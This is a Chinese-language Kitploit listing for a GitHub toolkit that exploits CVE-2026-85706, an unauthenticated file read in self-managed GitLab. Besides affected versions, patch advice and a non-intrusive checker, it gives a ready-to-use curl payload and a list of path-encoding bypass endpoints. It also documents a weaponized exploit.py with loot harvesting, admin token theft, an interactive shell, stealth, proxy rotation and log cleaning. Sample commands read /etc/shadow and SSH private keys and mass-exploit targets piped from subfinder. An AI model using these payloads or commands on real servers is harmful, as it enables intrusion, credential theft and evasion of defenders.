Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-85706-PoC-Toolkit — Python 工具包,针对 CVE-2026-85706 GitLab 未授权文件读取:武器化利用工具,具备战利品收集、shell、批量扫描功能,另含非侵入式 SafeChecker 审计与报告。 | Kitploit
工具/GitHubGitHub/tc4dy/cve-2026-85706-poc-toolkit
防御工具漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用信息收集后渗透利用Web安全渗透测试红队
GitHubtc4dy/cve-2026-85706-poc-toolkit

CVE-2026-85706-PoC-Toolkit

110小时21分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Python 工具包,针对 CVE-2026-85706 GitLab 未授权文件读取:武器化利用工具,具备战利品收集、shell、批量扫描功能,另含非侵入式 SafeChecker 审计与报告。

查看仓库网站

CVEPoC

CVE‑2026‑85706 – GitLab 未认证文件读取工具包

Python 3.8+ CVSS Author GitLab

⚠️ 仅限道德用途 – 授权安全测试
本仓库仅为授权安全专业人员、蓝队和渗透测试人员提供工具。
未经授权访问计算机系统在美国 CFAA、英国《计算机滥用法》、土耳其 TCK 243/244 以及全球类似法律下均属违法。


📖 漏洞概述

CVE‑2026‑85706 是自管理 GitLab CE/EE(版本 18.7 至 19.3.1)中的一个严重未认证任意本地文件读取漏洞,允许未认证攻击者通过向 commits API 发送单个 HTTP 请求读取服务器上的任意文件。

工作原理

  1. Workhorse 与 Puma 解析不一致 – GitLab Workhorse 在百分号解码之前验证请求路径,而 Puma/Rails 在之后解码。这允许使用 %63ommits 等编码字符绕过 Workhorse 的安全检查。
  2. 认证前文件打开 – /api/v4/projects/{id}/repository/commits 端点在强制执行认证之前打开 file.path 中指定的文件。
  3. 通过错误回显内容 – 如果文件包含无效的 %-sequence,Rack 会在 400 Bad Request 响应体中回显内容,从而泄露完整内容。
  4. 影响 – 密钥、令牌、SSH 密钥、CI/CD 变量、数据库凭据,以及横向移动进入 GitLab 基础设施。请立即升级!

受影响版本

  • 18.7.0 – 19.1.7 – 存在漏洞
  • 19.2.0 – 19.2.5 – 存在漏洞
  • 19.3.0 – 19.3.1 – 存在漏洞

补丁

  • 升级至 19.1.8、19.2.6 或 19.3.2 或更高版本。
  • 如果无法升级,限制对 GitLab 的网络访问(切勿将其暴露在互联网上)并轮换所有令牌/密钥作为临时缓解措施。

🧰 工具

工具用途目标用户
exploit.py完整武器化工具包,具备未认证文件读取、战利品枚举、管理员令牌提取、批量扫描、交互式 shell、代理轮换、隐蔽模式和多格式报告功能。红队 / 授权渗透测试人员
safechecker.py非侵入式漏洞检查器,可检测 GitLab 版本、验证暴露情况、审计安全头并评估风险,且不读取任何文件。生成 JSON/CSV/HTML 报告。蓝队 / 安全审计人员

📊 功能对比


🎯 用例摘要


⚙️ 安装

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi
rich
pyyaml

📋 参数

exploit.py 参数

safechecker.py 参数


💥 场景


🧪 端点与利用链

该漏洞利用使用以下 GitLab 端点和绕过技术:

Payload 格式

root@kitploit:~
file=&file.path=/etc/passwd&file.size=1

可直接使用的 curl

root@kitploit:~
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ 负责任使用

  • 仅可在您拥有或已获得明确书面测试许可的系统上使用这些工具。
  • 未经授权访问是违法且不道德的。
  • 作者对任何滥用行为不承担责任。
  • 请始终遵守您所在国家的法律法规。

本软件仅供教育目的和授权安全测试使用。

下载工具
功能exploit.pysafechecker.py
漏洞检测✅✅
版本检测✅✅
未认证文件读取✅❌
战利品枚举✅❌
管理员令牌提取✅❌
交互式 shell✅❌
批量扫描(多线程)✅✅
安全头审计❌✅
TLS/证书检查❌✅
MITRE ATT&CK 映射✅✅
代理支持✅✅
代理轮换✅❌
User‑Agent 轮换(OPSEC)✅❌
抖动 / 延迟(OPSEC)✅❌
自适应速率限制器✅✅
隐蔽模式✅❌
curl_cffi TLS 模拟✅❌
非侵入式(安全)模式❌✅
JSON / JSONL / CSV / HTML 输出✅✅
SQLite 数据库输出✅❌
Webhook 通知✅✅
与上次扫描对比差异✅✅
日志清理(反取证)✅❌
自定义 User‑Agent✅✅
SSL 验证控制✅✅
场景推荐工具
蓝队 – 验证您的 GitLab 是否存在漏洞safechecker.py
安全审计 – 非侵入式漏洞评估safechecker.py
红队 – 授权渗透测试与完整利用exploit.py
漏洞赏金 – 负责任披露测试safechecker.py
批量扫描 – 检查多个目标的漏洞exploit.py(仅检测)
事件响应 – 检查系统是否已被入侵safechecker.py
参数描述
-u, --url单个目标 URL(例如 https://gitlab.example.com)
-f, --file包含目标列表的文件(每行一个)
--pipe从 stdin 读取目标(subfinder/httpx 管道)
--read要读取的绝对路径,逗号分隔
--wordlist包含要读取路径的文件(每行一个)
--project-id强制指定项目 ID
--max-projects尝试的最大项目 ID 数(默认:8)
--auto自动获取高价值 GitLab 文件
--loot与 --auto 相同
--shell利用后进入交互式 shell
--force即使 GitLab 指纹较弱也进行扫描
-t, --threads多目标线程数(默认:8)
--timeoutHTTP 超时(默认:15s)
--retry重试次数(默认:3)
--retry-on要重试的 HTTP 状态码(默认:429,500,502,503,504)
--proxyHTTP/HTTPS 代理
--proxy-list用于轮换的代理文件
--proxy-rotate轮换策略:round-robin、random、sticky
--jitter在请求之间添加随机抖动
--jitter-range抖动最小、最大秒数(默认:0.1,2.0)
--delay请求之间的固定延迟
--stealth启用隐蔽模式(UA 轮换 + X-Forwarded-For)
--curl-cffi使用 curl_cffi 进行 TLS 指纹模拟
--user-agent-file包含 User-Agent 字符串的文件
--max-body最大响应体大小(0 = 无限制)
--concurrent-per-host每主机最大并发请求数
--rate-limit每秒最大请求数(0 = 无限制)
--exclude要排除的主机,逗号分隔(glob 模式)
--grep仅显示匹配正则的泄露
--resume从状态文件恢复
--notify通知 URL(slack:、discord:、telegram:)
--db将结果保存到 SQLite 数据库
--output-format输出格式:json、jsonl、csv、html
-o, --output输出文件路径
-v, --verbose详细输出
-q, --quiet静默模式
--no-color禁用颜色
--no-banner不显示横幅
--configYAML/JSON 配置文件
--dry-run显示计划而不发出请求
--safe-mode仅读取 /etc/hostname 进行验证
--timeout-profileaggressive、normal、stealth
--mitre包含 MITRE ATT&CK 映射
--fingerprint详细 GitLab 指纹
--cve-check检查相关 CVE
--json-schema输出带 JSON schema 以用于 SIEM
--progress显示进度条(需要 rich)
参数描述
-u, --url单个目标 URL(例如 https://gitlab.example.com)
-f, --file包含目标的文件(每行一个)
-t, --threads多目标线程数(默认:5)
--timeoutHTTP 超时(默认:10s)
--rate-limit每秒最大请求数(0 = 无限制)
--user-agent自定义 User-Agent 字符串
--insecure禁用 TLS 验证(存在 MITM 风险)
--webhookWebhook URL(slack:、discord:、telegram:)
--diff与上次扫描 JSON 对比
-v, --verbose详细输出
-o, --outputJSON 输出文件
--csvCSV 输出文件
--reportHTML 报告文件
--mitre包含 MITRE ATT&CK 映射(默认:开启)
#场景命令
1快速漏洞检查python safechecker.py -u https://gitlab.example.com
2带报告的详细审计python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v
3从文件进行批量审计python safechecker.py -f targets.txt -t 10 --rate-limit 5
4仅检测利用python exploit.py -u https://gitlab.example.com --safe-mode
5读取单个文件python exploit.py -u https://gitlab.example.com --read /etc/passwd
6读取多个文件python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa
7自动获取高价值文件python exploit.py -u https://gitlab.example.com --auto
8交互式 shellpython exploit.py -u https://gitlab.example.com --shell
9带隐蔽模式的批量利用python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl
10来自 subfinder 的管道subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl
11带 SIEM 输出的完整攻击python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json
12恢复中断的扫描python exploit.py -f targets.txt --auto --resume state.json
13对比两次扫描python safechecker.py -f targets.txt -o new.json --diff previous.json
步骤方法端点描述
1. 绕过POST/api/v4/projects/{id}/repository/%63ommits编码的 c 绕过 Workhorse
2. 绕过POST/api/v4/projects/{id}/%72epository/commitsrepository 中编码的 r
3. 绕过POST/api/v4/projects/{id}/repository/commits/尾部斜杠绕过
4. 绕过POST/api/v4/projects/{id}/repository/commits.jsonGrape 格式后缀绕过
5. Files APIPOST/api/v4/projects/{id}/repository/files/x替代路由